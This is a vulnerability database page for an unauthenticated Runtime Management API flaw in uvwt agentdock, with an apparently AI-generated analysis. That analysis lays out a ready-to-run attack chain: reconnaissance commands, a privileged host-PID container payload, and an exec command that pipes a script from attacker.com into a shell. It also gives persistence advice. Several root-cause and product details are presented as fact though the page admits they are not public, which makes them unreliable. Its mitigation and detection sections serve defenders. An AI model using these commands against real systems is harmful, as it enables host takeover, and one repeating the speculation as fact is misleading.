CVE Professor
/
All CVEs
CVE-2026-138077

CVE-2026-138077 — Uvwt Agentdock — CWE-287 · CWE-306

HIGH CVSS 7.3 Shodan

A security flaw has been discovered in uvwt agentdock up to 1.1.1. This impacts the function runtimeAPIHandler of the file internal/httpx/runtime_api.go of the component Runtime Management API. Performing a manipulation results in missing authentication. The attack can be initiated remotely. The patch is named 69cc02fabbd35f980d471d67306a035f9a5c9a9e. Applying a patch is the recommended action to fix this issue.

A security flaw has been discovered in uvwt agentdock up to 1.1.1. This impacts the function runtimeAPIHandler of the file internal/httpx/runtime_api.go of the component Runtime Management API. Performing a manipulation results in missing authentication. The attack can be initiated remotely. The patch is named 69cc02fabbd35f980d471d67306a035f9a5c9a9e. Applying a patch is the recommended action to fix this issue.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138077 affects uvwt agentdock ≤ 1.1.1.
The flaw lives in the Go source file internal/httpx/runtime_api.go, function runtimeAPIHandler, which implements the Runtime Management API that is used by the agent‑dock platform to control container runtimes (start/stop, query status, etc.).

CWEDescription
CWE‑287 – Improper AuthenticationThe handler trusts data that should have been validated against an authentication token or session, but the check is either omitted or bypassed.

Technical root‑cause

1. Missing authentication guard – The handler reads the incoming HTTP request, extracts a JSON payload that describes the desired runtime operation (e.g., {"action":"start","container_id":"abc123"}), and directly forwards it to the internal runtime controller.
2. The code path that should call auth.ValidateRequest(r) (or similar) is guarded by a conditional that is always false because of a typo (if false && auth.Check(r) { … }). Consequently any remote client can invoke the API without presenting a valid token.
3. The handler also returns a generic 200 OK with the operation result, leaking minimal but useful information (e.g., container existence).

Because the endpoint is exposed on the same network interface that the agent‑dock UI listens on (default 0.0.0.0:8080), an unauthenticated attacker on the network (or the Internet if the service is exposed) can issue arbitrary runtime commands.

Result: Unauthenticated remote command execution against the runtime management layer, leading to confidentiality, integrity, and availability impacts as reflected in the CVSS vector (C‑L, I‑L, A‑L).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow.
All request examples are illustrative – the exact URI path is not disclosed in the public advisory, but the vulnerable component is reachable under the /runtime/api namespace in the current code base.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Locate the service banner.curl -I http://<target>:8080/ → Server: uvwt-agentdock/1.1.1
1.2Enumerate open HTTP endpoints.gobuster dir -u http://<target>:8080/ -w /usr/share/wordlists/dirb/common.txt → discovers /runtime/api
1.3Verify version.curl http://<target>:8080/version → {"product":"uvwt-agentdock","version":"1.1.1"}
1.4Check for authentication requirement.curl -s -X POST http://<target>:8080/runtime/api -d '{"action":"list"}' -H "Content-Type: application/json" → returns JSON list of containers without a 401 challenge.

At this point the attacker knows that the Runtime Management API is reachable and does not enforce authentication.

2. Exploitation

Goal – Issue arbitrary runtime commands (e.g., start a privileged container, stop a critical service, or retrieve container logs).

2.1 Craft a malicious request

# Illustrative endpoint – actual path may differ (e.g., /runtime/api/v1/command)
API_ENDPOINT="http://<target>:8080/runtime/api"

# Example payload: start a new container with host PID namespace (privilege escalation)
cat > payload.json <<'EOF'
{
  "action": "start",
  "container_spec": {
    "image": "alpine:latest",
    "command": ["/bin/sh","-c","sleep 3600"],
    "privileged": true,
    "pid_mode": "host"
  }
}
EOF

# Send the request (no auth header required)
curl -s -X POST "$API_ENDPOINT" \
     -H "Content-Type: application/json" \
     -d @payload.json

Expected response (illustrative)

{
  "status":"ok",
  "container_id":"c0ff33b4d5e6"
}

If the attacker wants to stop a critical container (e.g., the UI itself):

curl -s -X POST "$API_ENDPOINT" \
     -H "Content-Type: application/json" \
     -d '{"action":"stop","container_id":"ui-service"}'

2.2 Persistence / Lateral movement

Because the API runs with root privileges on the host, the attacker can:

  • Mount the host filesystem inside a privileged container and drop a systemd unit or a cron job.
  • Execute arbitrary host commands if the API also supports a generic exec action (common in runtime APIs). Example:
  • curl -s -X POST "$API_ENDPOINT" \
         -H "Content-Type: application/json" \
         -d '{"action":"exec","container_id":"c0ff33b4d5e6","cmd":["/bin/sh","-c","curl -s http://attacker.com/payload.sh | sh"]}'

    3. Post‑exploitation

    PhaseAttacker CapabilityTypical Outcome
    Privilege escalationBy launching a privileged container with pid_mode: host the attacker gains root on the host OS.Full control of the underlying server, ability to read/write any file.
    PersistenceDrop a systemd service (/etc/systemd/system/agentdock-backdoor.service) from inside the privileged container.Re‑establishes access after reboot.
    Data exfiltrationUse the runtime API to exec tar/gzip on sensitive directories and stream the archive back via the HTTP response.Confidentiality breach (C‑L).
    Denial‑of‑ServiceIssue stop on critical containers (e.g., the UI, monitoring agents) or kill the runtime daemon.Availability impact (A‑L).

    🌍 Real‑World Impact

    CIACVSS Vector ExplanationPractical Consequence
    Confidentiality (C:L)C:L – attacker can read limited but sensitive data (container IDs, logs, host files via privileged exec).Exposure of internal service topology, possible credential leakage from container files.
    Integrity (I:L)I:L – attacker can modify runtime state (start/stop containers, inject malicious containers).Ability to inject backdoors, tamper with production workloads, alter configuration.
    Availability (A:L)A:L – attacker can disrupt services by stopping containers or crashing the runtime daemon.Service outage, loss of business continuity.

    Because the vulnerability is network‑reachable, no authentication is required, and the exploit is low‑complexity (AC:L), an opportunistic attacker can achieve the above impacts quickly, especially in environments where the agent‑dock UI is exposed to the Internet (common in CI/CD pipelines or edge deployments).


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ItemAction
    Affected versionsuvwt‑agentdock ≤ 1.1.1
    Fixed versionThe commit 69cc02fabbd35f980d471d67306a035f9a5c9a9e (released in v1.1.2) introduces a proper authentication check (auth.ValidateRequest) before any runtime operation.
    Upgrade pathReplace the binary with the one from the official release tarball or rebuild from source after pulling the commit that contains the fix.

    2. Immediate Workarounds (if patch cannot be applied)

    MitigationImplementation Details
    Network segmentationRestrict access to the Runtime Management API to trusted sub‑nets only. Example iptables rule: <br>iptables -A INPUT -p tcp -s 10.0.0.0/24 --dport 8080 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 8080 -j DROP
    Reverse‑proxy authenticationPlace an authenticated reverse proxy (NGINX, Traefik) in front of the agent‑dock UI and enforce HTTP Basic, JWT, or mTLS. Sample NGINX snippet: <br>``nginx\nlocation /runtime/api {\n auth_basic \"AgentDock Runtime API\";\n auth_basic_user_file /etc/nginx/.htpasswd;\n proxy_pass http://127.0.0.1:8080;\n}\n`
    Disable the Runtime APIIf the feature is not required, start the agent‑dock daemon with --disable-runtime-api (available in 1.1.1).
    WAF rule (ModSecurity)Block any POST request to the suspected endpoint that lacks an Authorization header. Example rule: <br>`SecRule REQUEST_URI "@beginsWith /runtime/api" "id:100001,phase:2,deny,log,msg:'Block unauthenticated Runtime API access',chain"\nSecRule &REQUEST_HEADERS:Authorization "!@gt 0"\n`
    Audit loggingEnable verbose logging (--log-level=debug) to capture every call to runtimeAPIHandler. Forward logs to a SIEM for alerting on suspicious actions (e.g., action=exec` from unknown IP).

    3. Detection – Indicators of Compromise

    Log sourceTypical pattern
    HTTP access logs (e.g., access.log)POST /runtime/api HTTP/1.1" 200 without an Authorization header.
    Agent‑dock daemon logsruntimeAPIHandler: received action=exec from 203.0.113.45 – look for action=exec, action=start with "privileged":true.
    Container runtime events (Docker/CRI)Sudden creation of a container with Privileged: true or HostPID: true that was not initiated by a known CI/CD job.
    System audit (auditd)execve of the agent‑dock binary followed by execve of /usr/bin/docker (or containerd) triggered by the same PID chain.
    Network trafficOutbound connections from the host to unknown IPs shortly after a runtime/api request (possible payload download).

    Alerting suggestion: Correlate a POST /runtime/api without auth + a subsequent privileged container start within 30 seconds → raise a high‑severity alert.


    ⚠️ Urgency

  • CVSS 7.3 (High) – Network‑accessible, no authentication, low attack complexity.
  • CISA KEV: No – Not yet listed, meaning public awareness is limited and many operators may be unaware.
  • Exploitability – The vulnerability can be demonstrated with a single curl command; no prior access is required.
  • Patch priority: Critical for any deployment that:

  • Exposes the agent‑dock UI to untrusted networks (Internet, shared VLANs).
  • Runs workloads with sensitive data or privileged containers.
If immediate patching is impossible, apply the network segmentation or reverse‑proxy authentication workarounds within 24 hours and monitor for the IoCs listed above.
Bottom line: CVE‑2026‑138077 is an unauthenticated bypass of the Runtime Management API in uvwt agentdock ≤ 1.1.1. Exploiting it grants an attacker the ability to start/stop containers, execute commands as root, and persist on the host. Deploy the fixed version (≥ 1.1.2) or enforce strict network‑level access controls and authentication in front of the API without delay.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="uvwt agentdock"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138077
Technical reference / advisory repository for CVE-2026-138077
Technical reference / advisory repository for CVE-2026-138077
uvwt/agentdock Reference
Technical reference / advisory repository for CVE-2026-138077
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-287 CWE-306
Affected Products (1)
uvwt:agentdock
Related CVEs
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105102
An authentication bypass vulnerability in the Boa web interface of BDCOM routers allows unauthenticated attack
8.8
CVE-2026-118966
A missing authentication vulnerability in the SSH server of Nokia SR Linux allows an unauthenticated attacker
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.